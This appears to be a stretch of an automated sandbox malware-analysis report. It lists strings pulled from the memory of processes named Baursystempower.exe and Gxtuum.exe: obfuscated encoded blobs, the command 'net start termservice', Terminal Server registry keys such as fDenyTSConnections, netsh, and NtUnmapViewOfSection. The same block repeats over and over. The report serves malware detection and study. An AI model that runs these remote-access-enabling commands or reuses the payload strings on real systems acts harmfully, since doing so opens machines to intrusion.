LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Baursystempower.exe, 00000007.00000002.3320375672.0000000002F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Baursystempower.exe, 00000007.00000002.3320375672.0000000002F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Baursystempower.exe, 0000000A.00000002.3321609475.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Baursystempower.exe, 0000000A.00000002.3321609475.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Gxtuum.exe, 0000000B.00000002.3471820521.0000000003791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000B.00000002.3471820521.0000000003791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Gxtuum.exe, 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Gxtuum.exe, 0000000B.00000002.3439536718.0000000002D29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000B.00000002.3439536718.0000000002D29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Gxtuum.exe, 0000000C.00000002.3458098302.00000000027A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000C.00000002.3458098302.00000000027A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG 